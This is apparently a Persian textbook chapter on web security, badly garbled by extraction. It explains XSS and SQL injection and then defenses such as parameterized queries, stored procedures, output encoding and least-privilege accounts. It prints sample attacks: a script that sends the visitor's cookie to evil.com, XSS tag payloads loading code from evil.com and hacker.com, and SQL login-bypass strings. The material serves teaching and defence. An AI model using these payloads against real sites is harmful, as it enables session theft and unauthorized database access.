print "<html>" 

print "<h1>Most recent comment</h1>" 

print database.latestComment 

print "</html>" 

 یمحتوای یک صفحهها، نمایش داده و کامنت دادهپایگاهتواند آخرین کامنت را از اسکریپت بالا فقط می

HTML ها فقط حاوی متن هستند، چاپ کند.را با این فرض که کامنت 

مخرب  بارتواند یک کامنت حاوی میپذیر است زیرا مهاجم آسیب XSS یبالا نسبت به حمله یصفحه

 را ارسال کند. ><script>doSomethingEvil();</script  مانند

 گردد :وب، تحمیل می یزیر به کاربران بازدیدکننده از این صفحه HTML یصفحه

<html> 

<h1>Most recent comment</h1> 
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<script>doSomethingEvil();</script> 

</html> 

گردد و در اکثر میاین صفحه در مرورگر قربانی، اسکریپت مخرب فرد مهاجم اجرا  بارگذاری در هنگام

 دهد.ای را بگیرد رخ میاو بتواند جلوی چنین حمله کهاینموارد این اتفاق بدون اطلاع کاربر یا بدون 

شود که نهایتاً اسکریپت مخربی که توسط مهاجم تزریق تنها در صورتی واقع می XSSآسیب مهم:  ینکته

 جزیه گردد.( تHTMLشود، در مرورگر قربانی )در این مورد به صورت می

 جاوا اسکریپت چیست؟ یبدترین حمله

وب، توسط مهاجمین ممکن است خیلی  یعواقب ناشی از توانایی اجرای جاوا اسکریپت در یک صفحه

شده اجرا نموده و کنترلمرورگرها جاوا اسکریپت را در محیطی کاملاً  کهاینسریع آشکار نگردد، به دلیل 

 های کاربر دارد.و فایل عاملسیستمجاوا اسکریپت دسترسی محدودی به 

مهاجمین خلاق چگونه به  کهایناما با توجه به این نکته که جاوا اسکریپت به موارد زیر دسترسی دارد، درک 

 تر خواهد بود:رسند، آسانآن به اهداف خود می یوسیله

  پذیر است، از نامکادسترسی جاوا اسکریپت، به هر آن چه که بقیه صفحات وب نیز دسترسی دارند

براین اگر ، بناشودها استفاده میتوکن نشست یها برای ذخیرهکوکیها. از کوکیجمله دسترسی به 

تواند از هویت او استفاده نموده و خود یک کاربر را به دست آورد، میکوکی نشست مهاجم بتواند 

 قرار دهد. موردنظررا به جای کاربر 

  تواند میجاوا اسکریپتDOM در داخل ) مرورگر را خوانده و تغییرات دلخواهی در آن ایجاد کند

 .شود(ای که جاوا اسکریپت در آن اجرا میصفحه

 تواند با استفاده از جاوا اسکریپت می XMLHttpRequest های خواستدرHTTP  با محتوای

 دلخواه و به مقصد دلخواه ارسال کند.

  واند به تمیجاوا اسکریپت در مرورگرهای امروزیAPI هایHTML5  نفوذ داشته باشد مانند امکان

های خاصی از سیستم فایل ، میکروفون و حتی فایلدوربینجغرافیایی کاربر،  یدسترسی به منطقه

و توجه به  XSS یها نیاز به انتخاب کاربر دارند، به وسیله APIکاربر. در حالی که بیشتر این 

 تر خواهد شد.، کار برای مهاجمین بسیار آسانچندین نکته از مهندسی افکار عمومی

 سایتيبیناسکریپت نویسي  یساختمان یک حمله 

 ، قربانی و مهاجم.سایتوبسه بخش اصلی دارد:  XSS ییک حمله
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های اوست. ارسال کوکیکه هدف مهاجم استفاده از هویت کاربر با دزدیدن  شودمیدر مثال زیر فرض 

پذیر است. یکی از این کنترل مهاجم قرار داشته باشد، از چندین روش امکانکه تحت  کارگزاریبه  کوکی

توسط مهاجم در مرورگر  XSSپذیری به آسیبها اجرای کد جاوا اسکریپت زیر است که از طریق روش

 شود:قربانی اجرا می

<script> 

   window.location=“http://evil.com/?cookie=” + document.cookie 

</script> 

 : دهدمیساده را نشان  XSS ییک حمله یشکل زیر مرحله به مرحله

 

 XSS یساده ی: مراحل یک حمله۲-4شکل 

را وارد  payloadمهاجم با ارسال فرمی که با چند جاوا اسکریپت مخرب همراه است، یک  .1

 نماید.می سایتوب دادهپایگاه

 کند.ارسال می سایتوبوب را به  یقربانی درخواست ورود به صفحه .2

، به مرورگر قربانی HTMLمهاجم به عنوان بخشی از بدنه  payloadصفحه را به همراه  ،سایتوب .3

 نماید.تحمیل می

 .کندمیرا اجرا  HTMLمرورگر قربانی، اسکریپت مخرب درون بدنه  .4
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گردد. سپس هنگامی که مهاجم ارسال می کارگزارقربانی به  کوکیدر این مورد، با اجرای اسکریپت مخرب، 

قربانی را جداسازی کرده و از آن برای اقدام  کوکیرسد، مهاجم به سادگی می کارگزاربه  HTTPدرخواست 

 نماید.به جعل هویت استفاده می

 XSSانواع  

تمامی موارد، اجرای جاوا اسکریپت مخرب در مرورگر قربانی است، اما در  XSS یهدف حمله کهاینبا 

عموماً به سه دسته تقسیم  XSSیابی یه این هدف وجود دارد. حملات دستهای مختلفی برای روش

 : شوندمی

 XSS گیرد.میسرچشمه  سایتوب دادهپایگاهمخرب از  ی: که در این نوع حمله رشتهشدهذخیره 

 XSS در این نوع بازتابی :XSS مخرب ریشه در درخواست شخص قربانی دارد. یرشته 

 XSS  مبتنی برDOM ی در کد سمت کاربر وجود دارد نه در کد سمت پذیرآسیب: در این حملات

 .کارگزار

 دهیم.ذخیره شده بود. حال دو نوع دیگر از این حملات را شرح می XSSمثال قبل مثالی از یک حمله 

XSS بازتابي 

است،  سایتوبمخرب در واقع بخشی از درخواست قربانی از  یبازتابی، رشته XSS یر یک حملهد

این  یدهندهنشان. نمودار زیر کندمیمخرب را به عنوان پاس  به کاربر ارسال  یهم این رشته سایتوب

 روند است:
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 بازتابي XSS: حمله 3-4شکل 

 کند.مخرب را ساخته و برای قربانی ارسال می یشامل رشته URLمهاجم یک  .1

 درخواست نماید. سایتوبرا از  URLشود تا این قربانی توسط مهاجم فریب داده می .2

 دهد.را در پاس  به کاربر قرار می URLمخرب درون  یرشته سایتوب .3

قربانی به  cookieکند و در نتیجه اجرا میمرورگر قربانی اسکریپت مخرب موجود در پاس  را  .4

 شود.مهاجم ارسال می کارگزار

XSS  رسد؟ميبازتابي چگونه به موفقیت 

خطر کمتری دارد، چون لازم است تا خود قربانی  XSSدر ابتدا ممکن است به نظر برسد که این نوع از 

هیچ کس تمایل به حمله به شخص  که طبیعتاً جاآناز  و مخرب را ارسال نماید یدرخواست شامل رشته

 خودش را ندارد، راهی برای انجام این حمله وجود ندارد.

بازتابی علیه  XSSدهد که حداقل دو روش  وجود دارند که شخص را وادار به انجام اما مشاهدات نشان می

 کنند:خود می

  تواند میاگر کاربر یک فرد خاص را مورد هدف قرار دهد، مهاجمURL  مخرب را به قربانی ارسال

 کند )به عنوان مثال از طریق ایمیل یا پیام فوری( و او را تحریک به بازدید از آن نماید.

 تواند لینکی را به میزیادی را مورد هدف قرار دهد، مهاجم  یاگر کاربر عدهURL  مخرب منتشر

و منتظر باشد که کاربران اجتماعی(  یخودش یا در یک شبکه سایتوبکرده )به عنوان مثال در 

 روی آن کلیک نمایند.
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، احتمال موفقیت URLکننده کوتاههای این دو روش کاملاً مشابه بوده و در صورت استفاده از سرویس

مخرب از دید افرادی که ممکن است توانایی تشخیص  یشود رشتهبیشتری خواهند داشت چرا که باعث می

 آن را داشته باشند، پنهان بماند.

XSS های مبتني برDOM 

XSS  مبتنی برDOM یکاملاً از دو نوع دیگر متفاوت است. در حمله XSS  مبتنی برDOM تا زمانی که ،

گردد. نمودار مخرب در مرورگر قربانی تجزیه نمی یاجرا نشود، رشته سایتوبجاوا اسکریپت غیرمخرب 

 : دهدمیبازتابی نشان  XSS یزیر این روند را برای یک حمله

 

 DOMبر  يمبتن XSS ی: مراحل حمله4-4شکل 

 .کندمیمخرب را ساخته و آن را برای سیستم قربانی ارسال  یشامل رشته URLمهاجم یک  .1

 شود.تحریک می URLقربانی توسط مهاجم برای درخواست این  .2

 دهد.مخرب را درون پاس  قرار نمی یکند، اما رشتهدرخواست را دریافت می سایتوب .3

مرورگر قربانی با اجرای اسکریپت غیرمخرب موجود در پاس ، باعث وارد شدن اسکریپت مخرب  .4

 گردد.می موردنظر یدر صفحه
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مهاجم ارسال  کارگزارقربانی برای  کوکیبا اجرای اسکریپت مخربی که وارد صفحه شده است،  .5

 شود.می

اسکریپت مخرب را در صفحه  کارگزارو بازتابی است،  شدهذخیرههای قبلی که مربوط به حملات در مثال

کند، کند. زمانی که مرورگر قربانی پاس  را دریافت میوارد نموده و به صورت پاس  برای قربانی ارسال می

همراه تمامی اسکریپت مخرب را به عنوان بخشی از محتوای عادی صفحه در نظر گرفته و آن را به 

 .کندمیهای دیگر اجرا اسکریپت

، اسکریپت مخرب به عنوان بخشی از صفحه وجود نداشته و تنها DOMمبتنی بر  XSS یاما در مثال حمله

شود. مشکل از این ناشی صفحه اجرا می بارگذاریاسکریپت غیرمخرب به صورت اتوماتیک در هنگام 

به صفحه استفاده  HTMLدی کاربر، برای اضافه کردن و از ورشود که این اسکریپت غیرمخرب مستقیماًمی

 HTMLشود، به صورت وارد صفحه می innerHTMLمخرب با استفاده از  یکند. به این دلیل که رشتهمی

 شود.گردد و در نهایت اسکریپت مخرب در مرورگر اجرا میتجزیه می

 جود دارد: و دیگر انواع و XSSتفاوت کوچک ولی مهمی بین این نوع 

  درXSSصفحه، به عنوان بخشی از  بارگذاریتر، جاوا اسکریپت مخرب در زمان های قدیمی

HTML  شد.، اجرا میکارگزارارسالی توسط 

  درXSS  مبتنی برDOM شود و صفحه، اجرا می بارگذاری، جاوا اسکریپت مخرب اندکی پس از

صفحه، با ورودی کاربر به روشی ناامن رفتار دلیل این اتفاق، این است که جاوا اسکریپت عادی 

 کند.می

XSS  مبتني برDOM  کارگزارناپیدا برای 

مخرب  یگاه رشتههیچبرای شروع حمله،  هاآنوجود دارند که در  DOMهای مبتنی بر XSSنوع خاصی از 

 #س از کاراکتر گیرد )هر آن چه پقرار می URLشود بلکه در بخش شناسه ارسال نمی سایتوب کارگزاربه 

هیچ راهی برای  سایتوبکنند، بنابراین ها ارسال نمیکارگزاررا به  URLآید(. مرورگرها این بخش از می

ندارد. اما کد سمت کاربر به آن دسترسی داشته و به این ترتیب با  کارگزاردسترسی به آن از طریق کد سمت 

 شود.می XSSپذیری آن به برخورد ناامن باعث آسیب
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ناپیدا  کارگزارهای کاربر هم که برای این وضعیت تنها در مورد بخش شناسه نیست بلکه برای دیگر ورودی

نیز صادق  IndexedDBو  LocalStorageمانند  HTML5های جدید آیند، از جمله ویژگیبه حساب می

 است.

 رودبه کار مي XSSکه در حملات  HTMLهای تگ 

 گیرند را معرفی خواهیم کرد.میمورد استفاده قرار  xssکه بیشتر در حملات  htmlهای تگدر ادامه لیستی از 

  تگ<script> : تگscript  های مورد استفاده در حملات تگترین راحتیکی ازxss باشد. یک می

درون یک تگ  کهاینیا  تواند به یک کد جاوا اسکریپت خارجی ارجاع داده شده ومی scriptتگ 

script .قرار گیرد 

<!-- External script --> 

<script src=http://evil.com/xss.js></script> 

<!-- Embedded script --> 

<script> alert("XSS"); </script> 

  تگ<body> :یحمله xss تواند از طریق صفت میonload  در تگbody  ،و یا سایر صفات مبهم

 انجام گیرد. backgroundمانند 

<!-- onload attribute --> 

<body onload=alert("XSS")> 

<!-- background attribute --> 

<body background="javascript:alert("XSS")"> 

  تگ<img>:  برخی از مرورگرها کدهای جاوااسکریپت قرارداده شده در تگimg  کنندمیرا اجرا. 

<!-- <img> tag XSS --> 

<img src="javascript:alert("XSS");"> 

<!--  tag XSS using lesser-known attributes --> 

<img dynsrc="javascript:alert('XSS')"> 

<img lowsrc="javascript:alert('XSS')"> 

  تگ<iframe> : تگiframe  به صفحاتhtml  والد خود قرار بگیرند.  یکه در صفحه دهدمیاجازه

 اسکریپت باشد، اما این نکته حالز اهمیت است که جاوا شامل کدهای جاواتواند میاین تگ 

 DOM (Document( به CSPهای امنیتی مرورگر)سیاستبراساس  iframeاسکریپت موجود در 

Object Model صفحات والد خود دسترسی ندارد؛ با این وجود )iframe  مفهوم موثری در حملات

 فیشینگ دارد.

<!-- <iframe> tag XSS --> 

<iframe src=”http://evil.com/xss.html”> 
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  تگ<input>صورتی که صفت  : در برخی از مرورگرها، درtype  از تگinput  را برابرimage  قرار

 کرد. کاریدستتوان آن را جهت قرار دادن یک اسکریپت دهیم، می

<!-- <input> tag XSS --> 

<input type="image" src="javascript:alert('XSS');"> 

 

  تگ<link>:  تگlink  که معمولا برای لینک دادن به صفحات استایل خارجی مورد استفاده قرار

 تواند شامل یک اسکریپت باشد.، میگیردمی

<!-- <link> tag XSS --> 

<link rel="stylesheet" href="javascript:alert('XSS');"> 

 

  تگ<table>:  صفتbackground  های تگازtable  وtd قرار گیرد تا به  سواستفادهتواند مورد می

 اسکریپت باشد. جای اشاره کردن به یک عکس، دربردارنده کد جاوا

<!-- <table> tag XSS --> 

<table background="javascript:alert('XSS')"> 

<!-- <td> tag XSS --> 

<td background="javascript:alert('XSS')"> 

  تگ<div>:  های تگاین تگ نیز همانندtable  وtd تواند یک میbackground با مقدار کد جاوا 

 اسکریپت داشته باشد.

<!-- <div> tag XSS --> 

<div style="background-image: url(javascript:alert('XSS'))"> 

<!-- <div> tag XSS --> 

<div style="width: expression(alert('XSS'));"> 

 

  تگ<object>:  تگobject اسکریپت از یک سایت خارجی باشد. تواند شامل کد جاوامی 

<!-- <object> tag XSS --> 

<object type="text/x-scriptlet" data="http://hacker.com/xss.html"> 

 SQLحملات تزریق  ۲-۲-4

مخرب  SQLتزریقی است که در آن مهاجم با اجرای دستورات  ینوعی حمله SQLiیا همان  SQLتزریق 

)که به آن  وبتحت ییک برنامه کارگزار یدادهپایگاه( شودمیمخرب نیز گفته  بار هاآن)که معمولاً به 

 کند.( را کنترل میشودمینیز گفته  RDBMSای رابطه دادهپایگاهسیستم مدیریت 
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را که از  وبتحت یو یا برنامه سایتوبتواند هر می SQLی به تزریق پذیرآسیب به این دلیل که

ترین، یکی از قدیمی SQLکند، تحت تأثیر قرار دهد، تزریق استفاده می SQLهای داده مبتنی بر پایگاه

 آید.به حساب می وبتحتهای ها، برای برنامهترین آسیبترین و خطرناکشایع

تواند با عبور از ی شرایط مناسب، مهاجم میر، در صورت برقراSQLیق با اعمال نفوذ از طریق تزر

آن دسترسی پیدا  دادهپایگاه، به تمامی محتوای وبتحت یفرایندهای اعتبارسنجی و احراز هویت یک برنامه

نیز استفاده شده که موجب  دادهپایگاههای یک کند. از این حمله برای اضافه کردن، تغییر و حذف رکورد

 شود. ها میأثیر سوء بر صحت دادهت

های تواند تا این اندازه مؤثر باشد که باعث دسترسی بدون مجوز مهاجم به دادهمی SQLتزریق  یحمله

، رازهای تجاری، مالکیت معنوی و اطلاعات ان، اطلاعات شناسایی شخصیکارخواهی هاحساسی چون داده

 حساس دیگری شود.

 کند؟چگونه کار مي SQLتزریق  

هایی در ، مهاجم در قدم اول باید به دنبال ورودیدادهپایگاه کارگزارهای مخرب علیه یک SQLبرای اجرای 

 اند.قرار گرفته  SQLدرخواستوب باشد که درون یک  یبرنامه

پذیر باید مستقیماً شامل یک ورودی کاربر آسیب سایتووب SQLتزریق  یبرای به وقوع پیوستن یک حمله

را وارد کند که به عنوان بخشی از  بارید توانمیباشد. در این صورت مهاجم  SQLدستور  در یک

 نفوذ کند. دادهپایگاه کارگزارمحسوب شده و به   SQLدرخواست

 گیرد: میمورد استفاده قرار  وبتحتهای زیر، برای اعتبارسنجی کاربران برنامه کارگزارکد سمت شبه

# Define POST variables 

uname = _txtName.text; 

passwd = _txtPass.text; 

 

# SQL query vulnerable to SQLi 

sql = “SELECT id FROM users WHERE username=’” + uname + “’ AND 

password=’” + passwd + “’” 

 دادهیگاهپادر یک  ی عبورکلمهیک کاربر با یک نام کاربری و  اعتبارسنجیاسکریپت بالا روشی ساده برای 

 است. passwordو  usernameگذاری شده و یک ستون نام usersکه با یک جدول 

تواند ورودی مخربی را ارسال کند باشد چون مهاجم میپذیر میآسیب SQLاین اسکریپت در مقابل تزریق 

 شود، را تغییر دهد.انجام می دادهپایگاه کارگزاری که توسط SQLبتواند دستور  که
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 1OR ’ password=1تواند عبارتی بسیار ساده مانند می SQLتزریق  payloadای از یک سادهمثال بسیار 

به اجرا  دادهپایگاه کارگزار یور SQL درخواست شودمیباشد. این عبارت موجب  گذرواژهبرای فیلد 

 درآید.

SELECT id FROM users WHERE username=’username’ AND password=’password’ OR 

1=1’ 

 ، کامنت کند. SQLدرخواسترا نیز به منظور کنترل اجراهای بعدی  SQLدستور  یتواند بقیهمیمهاجم 

MySQL, MSSQL, Oracle, PostgreSQL, SQLite 

' OR '1'='1' -- 

' OR '1'='1' /* 

MySQL 

' OR '1'='1' # 

Access (using null characters) 

' OR '1'='1' %00 

' OR '1'='1' %16 

گردد و در نتیجه احراز هویت انجام شود، نتیجه برای پردازش به برنامه بازمیاجرا می درخواستهنگامی که 

شود. با امکان عبور از سد احراز هویت، برنامه به احتمال زیاد مهاجم را به اولین حساب کاربری موجود نمی

 معمولاً کاربر مدیر است. دادهپایگاهاولین حساب کاربری درون یک  -کندمی، وارد درخواستدر نتیجه 

 انجام دهد، چیست؟ SQL یبدترین کاری که یک مهاجم قادر است به وسیله 

SQL  داده در  ینویسی است که برای مدیریت ذخیرهبرنامهیک زبانRDBMS ها طراحی شده است، در

حذف داده استفاده کرد. به علاوه در برخی موارد خاص،  توان برای دسترسی، تغییر ومی SQLنتیجه از 

RDBMS به اجرا درآورد. عاملسیستمتواند دستوراتی را در می 

موفق تا چه اندازه  SQLتوان دریافت که یک حمله تزریق میبا توجه به آن چه که گفته شد و موارد زیر 

از سد احراز هویت عبور  SQLاستفاده از تزریق  تواند باتواند برای یک مهاجم، سودمند باشد. مهاجم میمی

  کرده و یا حتی به جعل هویت برخی کاربران بپردازد.

و نتایج خروجی آن است. آسیب ناشی از  درخواستهای یک ، انتخاب دادهSQLهای اولیه یکی از کاربرد

 کهاینشود. به دلیل  دادهپایگاه کارگزارهای موجود در یک توان باعث افشای کامل دادهمی SQLتزریق 

توانند با کنند، مهاجمین میاستفاده می دادهپایگاههای درون یک برای تغییر داده SQLهای وب از برنامه

ها شده و ممکن است عواقب های پایگاه را تغییر دهند. تغییر داده موجب عدم صحت دادهداده SQLتزریق 

ها و دیگر رکوردها. از یک ها، تغییر دادن بالانسند خالی کردن تراکنشبدی را به دنبال داشته باشد، مان

 SQLتوان استفاده کرد، بنابراین مهاجمین با تزریق نیز می دادهپایگاهبرای حذف رکوردهای  SQL درخواست
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اشد، حذف های پشتیبان هم وجود داشته بهایی را از پایگاه حذف کنند. حتی اگر دادهقادر خواهند بود تا داده

 کارگزارهایشدن داده موجب عدم دسترسی به برنامه تا زمان بازگردانی پایگاده داده خواهد شد. برخی از 

ی عاملسیستماند )عمدی و غیرعمدی( که اجازه اجرای دلخواه دستورات ای پیکربندی شدهبه گونه دادهپایگاه

به عنوان بردار اولیه، در  SQLتوانند از تزریق میشود. در شرایط مناسب، مهاجمین داده میپایگاه کارگزاردر 

 های داخلی درون فایروال، استفاده کنند.حمله به شبکه

 SQLساختار حمله تزریق  

استفاده کند و  SQLای که از رابطه دادهپایگاهتنها برقراری دو شرط لازم است: یک  SQLبرای وقوع تزریق 

مورد استفاده قرار گرفته باشد. وارد نمودن  SQL درخواستقابل کنترل که مستقیماً در یک  ربرورودی کا

انتظار  SQLدرخواست ، مثلاً وارد کردن یک رشته هنگامی که SQLورودی نامناسب مربوط به یک دستور 

 دادهپایگاه کارگزارشود تا یک عدد صحیح را دارد و یا وارد کردن عمدی یک اشتباه دستوری، موجب می

 اعلام خطا کند.

باشند ولی هنگامی که در یک سایت پویا ها بسیار سودمند میخطاها اگر چه حین گسترش و بهبود برنامه

به  SQLدهند. خطاهای مورد استفاده قرار بگیرند، اطلاعات بسیار زیادی را در اختیار مهاجمین قرار می

نیز اطلاعاتی به  دادهپایگاهسازند تا در مورد ساختار ادر میقدری جزلی و توصیفی هستند که مهاجمین را ق

توان میآید، های خطا به دست میدست آورند. حتی در برخی موارد تنها با استفاده از اطلاعاتی که از پیام

مبتنی بر خطا، شناخته  SQLتک به تک اطلاعات یک پایگاه را جداسازی کرد. این روش به نام تزریق 

غیرفعال شده یا حداقل  دادهپایگاهها ضروری است تا خطاهای مربوط به براین در این گونه سایتابنشود. می

 درون یک فایل با دسترسی محدود قرار گیرند.

است که   UNIONگیرد، نفوذ به عملگرمیاول دیگری که برای استخراج داده مورد استفاده قرار  تابعروش 

را در یک نتیجه ترکیب کند. این عمل موجب  SELECTا چند دستور ج دو و ییمهاجم نتا شودمیباعث 

 مبتنی بر SQLشود. این روش تزریق  HTTPشود تا برنامه مجبور به برگشت داده در قالب پاس  می

UNION .نام دارد 

 SQLهای دفاعي در مقابل حملات تزریق تکنیک 3-۲-4

ها از اتصال رشته sqlهای درخواستشود که یبه این دلیل مطرح م sqlپذیری در برابر حملات تزریق آسیب

 را توضیح خواهیم داد. sqlهای جلوگیری از حملات ترین روششوند. در این بخش مهمایجاد می
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 های پارامتریکدرخواستاستفاده از  

را به نحوی تغییر  درخواستاول باید خود  یدر مرحله دادهپایگاه هایدرخواستبرای پارامتریک کردن 

 sqlتواند مورد حمله میکه به راحتی  (I)دهیم که دربرگیرنده یک سری پارامتر باشد. برای نمونه باید کد 

 دهیم:تغییر می (II)قرار گیرد را به شکل 

(I) string sqlCommand = "select * from logins where username = '" + 

Username.Text + "' and password = '"+ Password.Text + "'"; 

 

(II) string sqlCommand = "select * from logins where username = @username 

and password=@password"; 

 

 شده پارامتریکذخیرههای استفاده از رویه 

 هاینسخهو  SQL2005شده را فراخوانی کنیم، ابتدا باید آن را ایجاد کنیم. از ذخیرهیک رویه  کهاینقبل از 

ایجاد کرد البته باید به این نکته توجه کرد  #Cها را در اند که بتوان این رویهبعد از آن، امکانی را فراهم آورده

تر است. در ادامه مراحل کار را توضیح خواهیم بهینه #Cها نسبت به دادهروی  کاریدستبرای  Sqlکه زبان 

 داد.

 کنیم:میایجاد  sqlزیر را در  spبرای نمونه : spایجاد  .1

CREATE PROCEDURE dbo.GetLogin( 

@username varchar(25), 

@password varchar(25)) 

AS 

SELECT * FROM logins WHERE 

username = @username AND 

password = @password 

 spفراخوانی و استفاده از  .2

 

string sqlCommand = "GetLogin"; 

using (SqlConnection connection = new SqlConnection( 

ConfigurationManager.ConnectionStrings["database"].ConnectionString)) { 

   connection.Open(); 

   SqlCommand command = new SqlCommand(sqlCommand, connection); 

   command.CommandType = CommandType.StoredProcedure; 

   SqlParameter usernameParmameter = 

      new SqlParameter("@username", SqlDbType.VarChar, 255){ 

         Value = this.Username.Text 

      }; 

   command.Parameters.Add(usernameParmameter); 

   SqlParameter passwordParmameter = 

   new SqlParameter("@password", SqlDbType.VarChar, 255) { 
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      Value = this.Password.Text 

   }; 

   command.Parameters.Add(passwordParmameter); 

   SqlDataReader reader = command.ExecuteReader(); 

   if (reader.Read()) 

      Result.Text = "Welcome " + reader["username"]; 

   else 

      Result.Text = "Login failed."; 

   connection.Close(); 

} 

 برای مدیریت کاراکترهای ورودی خاص Escapeهای استفاده از روتین 

معنای خاصی دارند را  sqlترین راه این است که کاراکترهایی که برای مستقیم sqlبرای جلوگیری از تزریق 

های ارسالی باید کنیم که دادهکد کردن، به مرورگر این امر گوشزد می به کد کنید. در واقع با تبدیلبه تبدیل 

گر اسکریپتی را در صفحه اصلاح شده و هیچ تفسیر دیگری نداشته باشند. درصورتی که حمله dataبه عنوان 

 کد کردن را انجام داده باشید،به رسد زیرا اگر به درستی عمل تبدیل شما قرار دهد، به هدف خود نمی

 #&توانیم کاراکترهای خطرناک را با استفاده از می htmlکند. در صفحه مرورگر اسکریپت جاری را اجرا نمی

 60#&مطابق  >کد کنیم. برای نمونه تبدیل کد شده کاراکتر به و بعد از آن کد کاراکتر موردنظر تبدیل 

 باشد.می

 مشاهده کنید: توانیدمیرا  هاآندر زیر لیستی از کاراکترها به همراه کد تبدیل شده 

" ---> &#34 

# ---> &#35 

& ---> &#38 

' ---> &#39 

( ---> &#40 

) ---> &#41 

/ ---> &#47 

; ---> &#59 

< ---> &#60 

> ---> &#62 

کار بسیار آسانی است، با این وجود به منظور حفاظت کامل از صفحات خود در مقابل  htmlتبدیل کد کردن 

را تبدیل کد کنیم. باید توجه داشت که اگر  xmlو گاهی اوقات  javascript، cssبایست می xssحملات 

شود، در اینجاست که استفاده از ها را خودتان انجام دهید مشکلات زیادی ایجاد میبخواهید تمامی تبدیل کد

)توسعه  ESAPI ،نهای دردسترس برای تبدیل کد کردمفید است. دو نمونه از کتابخانه Escapingکتابخانه 

 باشد.می)توسعه یافته توسط مایکروسافت(  AntiXSS( و  OWAPSیافته توسط 
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 Escape  اوراکلدادهپایگاهخاص : 

 همانند مثال زیر خواهد بود: Oracleبسیار ساده است. یک نمونه  ESAPI دادهپایگاهاستفاده از کد یک 

ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam ); 

 است: oracleپویا در کدتان ایجاد شده که مربوط به  درخواستبنابراین، هرگاه مشابه مثال زیر یک 

String query = "SELECT user_id FROM user_data WHERE user_name = '" + 

   req.getParameter("userID") + "' and user_password = '" +  

   req.getParameter("pwd") +"'"; 

try { 

   Statement statement = connection.createStatement( … ); 

   ResultSet results = statement.executeQuery( query ); 

} 

 باید خط اول را به شکل زیر بازنویسی کنید:

Codec ORACLE_CODEC = new OracleCodec(); 

String query = "SELECT user_id FROM user_data WHERE user_name = '" +  

ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("userID")) + 

"' and user_password = '" 

+ ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("pwd")) 

+"'"; 

 باشید.میایمن  SQLت، صرف نظر از نوع ورودی، در مقابل تزریق عیدر این وض

 ایجاد کنید. OracleEncoderتوانید خودتان یک برای خوانا بودن حداکثری کد، می

Encoder oe = new OracleEncoder(); 

String query = "SELECT user_id FROM user_data WHERE user_name = '"  

+ oe.encode( req.getParameter("userID")) + "' and user_password = '"  

+ oe.encode( req.getParameter("pwd")) +"'"; 

شده توسط کاربر را که به درون تأمینبایست هر پارامتر دهندگان فقط میحل، توسعهراهبا این 

ESAPI.encoder().encodeForOracle( )  بندی رود را بسته)یا هر اسمی که برای آن در نظر گرفته اید( می

 کنند.

از  SET SCAN OFFیا  SET DEFINE OFFبا استفاده از  جایی کاراکتر را غیرفعال کنید.امکان جابه

به  &جایی کاراکتر فعال باشد، کاراکتر جایی خودکار کاراکترها مطمئن شوید. اگر جابهبهخاموش بودن جا

دسترسی پیدا  هادادهدهد تا به در نظر گرفته شده و به مهاجمین امکان می SQLPlusعنوان یک پیشوند متغیر 

 کنند.

 کرد؟ escape، کاراکترهای خاص را SQL هایدرخواستچگونه هنگام نوشتن 

 ها:مثالبرای هر نمایش از دو نقل قول استفاده کنید.  :تبدیل نقل قول 

SQL> SELECT 'Frank''s Oracle site' AS text FROM DUAL; 
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-------------------- 

SQL> SELECT 'A ''quoted'' word.' AS text FROM DUAL; 

 

---------------- 

A 'quoted' word. 

SQL> SELECT 'A ''''double quoted'''' word.' AS text FROM DUAL; 

------------------------- 

A ''double quoted'' word. 

 

  از عبارتQ :استفاده کنید 

SQL> SELECT q'[Frank's Oracle site]' AS text FROM DUAL; 

 

------------------- 

SQL> SELECT q'[A 'quoted' word.]' AS text FROM DUAL; 

 

---------------- 

A 'quoted' word. 

SQL> SELECT q'[A ''double quoted'' word.]' AS text FROM DUAL; 

 

------------------------- 

A ''double quoted'' word. 

 

 کلیدی  یکلمه: تبدیل کاراکترهای عامLIKE دهد. کاراکتر ها را میجوی رشتهوجست یاجازه

و یا  صفربرای تطابق  %برای تطابق دادن کامل یک کاراکتر، در هنگام استفاده از  ’_‘عام 

توان تبدیل کرد. می SQLاین کاراکترها در شود. کاراکتر، استفاده میاز هر  رخدادهای بیشتری

 مثال:

SELECT name FROM emp  

WHERE id LIKE '%/_%' ESCAPE '/'; 

SELECT name FROM emp  

WHERE id LIKE '%\%%' ESCAPE '\'; 

  در  &تبدیل کاراکترSQL*Plus : در هنگام استفاده ازSQL*Plus تنظیمات ،DEFINE  را

 در متن استفاده شود: &توان تغییر داد تا اجازه دهد از می

SET DEFINE ~ 

SELECT 'Laurel & Hardy' FROM dual; 

  تعریف کاراکترescape 

SET ESCAPE '\' 

SELECT '\&abc' FROM dual; 

 :به دنبال متغیرهای جایگزین نباشید 

SET SCAN OFF 

SELECT '&ABC' x FROM dual; 
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 استفاده از اتصال یا  &ی تبدیل راه دیگر براconcatenation های است که نیازی به فرمانSET 

 ندارد:

SELECT 'Laurel ' || '&' || ' Hardy' FROM dual; 

  10از مکانیسم نقل قولg :استفاده کنید 

Syntax 

q'[QUOTE_CHAR]Text[QUOTE_CHAR]' 

Make sure that the QUOTE_CHAR followed by an ' doesn't exist in the text. 

SELECT q'{This is Orafaq's 'quoted' text field}' FROM DUAL; 

 با حداقل دسترسي دادهپایگاهکاربری حساباستفاده از یک  

SQL  کند. مشابه روشی که استفاده می 1شدهبندیدانهمجوز های داده از مکانیسم پایگاهبرای جداول و

، دادهپایگاهکند، برای به انجام رسیدن هرگونه عملیات بر روی یک استفاده می اشیاها و ویندوز برای فایل

های اصلی مبتنی بر جداول را بایست اجازه آن کار را داشته باشد. جدول زیر مجوزکاربر متصل شونده می

 .  دهدمینشان  SQL Serverدر یک 

 SQL Serverمجوزهای اصلي مبتني جدول در  :۲-4جدول 

 توضیحات مجوز

SELECT دهد. این مجوز را می دیدخواندن داده از یک جدول یا  یبه کاربر اجازه

 تخصیص یابد. دیدهای خاص درون یک جدول یا تواند به ستونمی

INSERT دهد.را می دیدوارد کردن داده درون یک جدول یا  یبه کاربر اجازه 

DELETE دهد.را می دیدحذف داده از یک جدول یا  یبه کاربر اجازه 

UPDATE دهد. مشابه را می دیدداده درون یک جدول یا  روزرسانیبه یبه کاربر اجازه

SELECT های مشخص هم اختصاص یابد.تواند به ستونمی 

EXECUTE کند.میشده را، اعطا ذخیرهاجرای یک رویه  یبه کاربر اجازه 
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ای که به آن دادهپایگاهفرض کاربر جدید، برای پیشمطرح است. به صورت  SQLها هم در نقش یمسئله

